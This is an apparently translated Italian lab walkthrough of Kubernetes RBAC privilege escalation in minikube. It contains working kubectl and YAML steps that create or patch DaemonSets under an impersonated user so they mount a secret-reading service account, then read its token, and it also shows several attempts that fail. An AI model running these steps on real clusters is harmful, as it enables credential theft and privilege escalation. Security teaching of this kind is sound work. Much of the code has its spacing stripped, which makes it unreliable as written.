Puoi eseguire questi laboratori solo all'interno di minikube.
Creazione del Pod -> Escalation a ns SAs
Creeremo:
Un Service account "test-sa" con un privilegio di cluster per leggere i segreti
Saranno creati un ClusterRole "test-cr" e un ClusterRoleBinding "test-crb"
Saranno dati permessi per elencare e creare pod a un utente chiamato "Test"
Saranno creati un Role "test-r" e un RoleBinding "test-rb"
Quindi confermeremo che l'SA può elencare i segreti e che l'utente Test può elencare i pod
Infine impersoneremo l'utente Test per creare un pod che include l'SA test-sa e rubare il token dell'account di servizio.
Questo è il modo per mostrare come l'utente potrebbe ottenere privilegi in questo modo
Per creare lo scenario viene utilizzato un account amministratore.
Inoltre, per esfiltrare il token dell'account di servizio in questo esempio viene utilizzato l'account amministratore per eseguire all'interno del pod creato. Tuttavia, come spiegato qui, la dichiarazione del pod potrebbe contenere l'esfiltrazione del token, quindi il privilegio "exec" non è necessario per esfiltrare il token, il permesso "create" è sufficiente.
```bash # Create Service Account test-sa # Create role and rolebinding to give list and create permissions over pods in default namespace to user Test # Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhere
## Creare un Daemonset
To create a Daemonset in Kubernetes, you need to define a YAML file with the necessary specifications. Here's an example of how to create a Daemonset:
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: my-daemonset
spec:
selector:
matchLabels:
app: my-app
template:
metadata:
labels:
app: my-app
spec:
containers:
- name: my-container
image: my-image:latest
In the above YAML file, replace my-daemonset with the desired name for your Daemonset. The selector field specifies the labels used to identify the nodes where the Daemonset should run. The template field defines the pod template for the Daemonset, including the container specifications.
Save the YAML file and apply it using the kubectl apply command:
kubectlapply-fmy-daemonset.yaml
This will create the Daemonset in your Kubernetes cluster, ensuring that a pod with the specified container runs on each node matching the label selector.
# Create Service Account test-sa# Create role and rolebinding to give list & create permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["apps"]resources: ["daemonsets"]verbs: ["get", "list", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-crrules:- apiGroups: [""]resources: ["secrets"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-crbsubjects:- kind: ServiceAccountnamespace: defaultname: test-saapiGroup: ""roleRef:kind: ClusterRolename: test-crapiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Check test-sa can access kube-system secretskubectl--assystem:serviceaccount:default:test-sa-nkube-systemgetsecrets# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:serviceAccountName: test-saautomountServiceAccountToken: truehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Patch del Daemonset
In questo caso andremo a applicare una patch a un daemonset per far sì che il suo pod carichi il nostro service account desiderato.
Se l'utente ha il verbo update invece di patch, ciò non funzionerà.
# Create Service Account test-sa# Create role and rolebinding to give list & update patch permissions over daemonsets in default namespace to user Test# Create clusterrole and clusterrolebinding to give the SA test-sa access to secrets everywhereecho'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["apps"]resources: ["daemonsets"]verbs: ["get", "list", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: ClusterRoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-crrules:- apiGroups: [""]resources: ["secrets"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:name: test-crbsubjects:- kind: ServiceAccountnamespace: defaultname: test-saapiGroup: ""roleRef:kind: ClusterRolename: test-crapiGroup: rbac.authorization.k8s.io---apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:automountServiceAccountToken: falsehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep100']'|kubectlapply-f-# Check user User can get pods in namespace defaultkubectl--asTest-ndefaultgetdaemonsets# Create a daemonset as user Test with the SA test-sa (privesc step)echo"apiVersion: apps/v1kind: DaemonSetmetadata:name: alpinenamespace: defaultspec:selector:matchLabels:name: alpinetemplate:metadata:labels:name: alpinespec:serviceAccountName: test-saautomountServiceAccountToken: truehostNetwork: truecontainers:- name: alpineimage: alpinecommand: ['/bin/sh']args: ['-c', 'sleep 100000']"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default daemonset.apps/alpine -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeletedaemonsetalpinekubectldeleteclusterrolebindingtest-crbkubectldeleteclusterroletest-crkubectldeleterolebindingtest-rbkubectldeleteroletest-rkubectldeleteserviceaccounttest-sa
Non funziona
Creare/Modificare Associazioni
Non funziona:
Creare una nuova RoleBinding solo con il verbo create
Creare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)
Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA
Modificare una nuova RoleBinding solo con il verbo patch (è necessario avere i permessi di associazione)
Non puoi farlo per assegnare il ruolo a te stesso o a un diverso SA
echo'apiVersion: v1kind: ServiceAccountmetadata:name: test-sa---apiVersion: v1kind: ServiceAccountmetadata:name: test-sa2---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-rrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get", "patch"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rbsubjects:- kind: Username: TestroleRef:kind: Rolename: test-rapiGroup: rbac.authorization.k8s.io---kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata:name: test-r2rules:- apiGroups: [""]resources: ["pods"]verbs: ["get", "list", "delete", "patch", "create"]---apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-rb2subjects:- kind: ServiceAccountname: test-saapiGroup: ""roleRef:kind: Rolename: test-r2apiGroup: rbac.authorization.k8s.io'|kubectlapply-f-# Create a pod as user Test with the SA test-sa (privesc step)echo"apiVersion: rbac.authorization.k8s.io/v1kind: RoleBindingmetadata:name: test-r2subjects:- kind: ServiceAccountname: test-sa2apiGroup: ""roleRef:kind: Rolename: test-r2apiGroup: rbac.authorization.k8s.io"|kubectl--asTestapply-f-# Connect to the pod created an confirm the attached SA token belongs to test-sakubectl exec -ti -n default test-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -d "." -f2 | base64 -d
# Clean the scenariokubectldeleterolebindingtest-rbkubectldeleterolebindingtest-rb2kubectldeleteroletest-rkubectldeleteroletest-r2kubectldeleteserviceaccounttest-sakubectldeleteserviceaccounttest-sa2
Bind espliciti
Nella sezione "Prevenzione dell'elevazione dei privilegi e avvio" di https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/ viene menzionato che se un SA può creare un Binding e ha permessi di Bind espliciti sul Ruolo/ClusterRole, può creare dei binding anche utilizzando Ruoli/ClusterRoles con permessi che non possiede.
Tuttavia, non ha funzionato per me:
# Create 2 SAs, give one of them permissions to create clusterrolebindings# and bind permissions over the ClusterRole "admin"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin"]---apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crbsubjects:- kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to bind the ClusterRole "admin" with the second SA (won't work)echo 'apiVersion:rbac.authorization.k8s.io/v1kind:ClusterRoleBindingmetadata:name:test-crb2subjects:- kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete clusterrolebindings test-crbkubectl delete clusterrolebindings test-crb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa
# Like the previous example, but in this case we try to use RoleBindings# instead of CLusterRoleBindingsecho 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---apiVersion:v1kind:ServiceAccountmetadata:name:test-sa2---kind:ClusterRoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-crrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["clusterrolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io"]resources: ["rolebindings"]verbs: ["get","create"]- apiGroups: ["rbac.authorization.k8s.io/v1"]resources: ["clusterroles"]verbs: ["bind"]resourceNames: ["admin","edit","view"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbnamespace:defaultsubjects:- kind:ServiceAccountname:test-sanamespace:defaultroleRef:kind:ClusterRolename:test-crapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Won't workecho 'apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rb2namespace:defaultsubjects:- kind:ServiceAccountname:test-sa2namespace:defaultroleRef:kind:ClusterRolename:adminapiGroup:rbac.authorization.k8s.io' | kubectl --as system:serviceaccount:default:test-sa apply -f -# Clean environmentkubectl delete rolebindings test-rbkubectl delete rolebindings test-rb2kubectl delete clusterrole test-crkubectl delete serviceaccount test-sakubectl delete serviceaccount test-sa2
Creazione arbitraria di ruoli
In questo esempio cerchiamo di creare un ruolo con le autorizzazioni di creazione e percorso sulle risorse dei ruoli. Tuttavia, K8s ci impedisce di creare un ruolo con più autorizzazioni di quelle dell'utente che lo sta creando:
# Create a SA and give the permissions "create" and "patch" over "roles"echo 'apiVersion:v1kind:ServiceAccountmetadata:name:test-sa---kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-rrules:- apiGroups: ["rbac.authorization.k8s.io"]resources: ["roles"]verbs: ["patch","create","get"]---apiVersion:rbac.authorization.k8s.io/v1kind:RoleBindingmetadata:name:test-rbsubjects:- kind:ServiceAccountname:test-saroleRef:kind:Rolename:test-rapiGroup:rbac.authorization.k8s.io' | kubectl apply -f -# Try to create a role over all the resources with "create" and "patch"# This won't wotrkecho 'kind:RoleapiVersion:rbac.authorization.k8s.io/v1metadata:name:test-r2rules:- apiGroups: [""]resources: ["*"]verbs: ["patch","create"]' | kubectl --as system:serviceaccount:default:test-sa apply -f-# Clean the environmentkubectl delete rolebinding test-rbkubectl delete role test-rkubectl delete role test-r2kubectl delete serviceaccount test-sa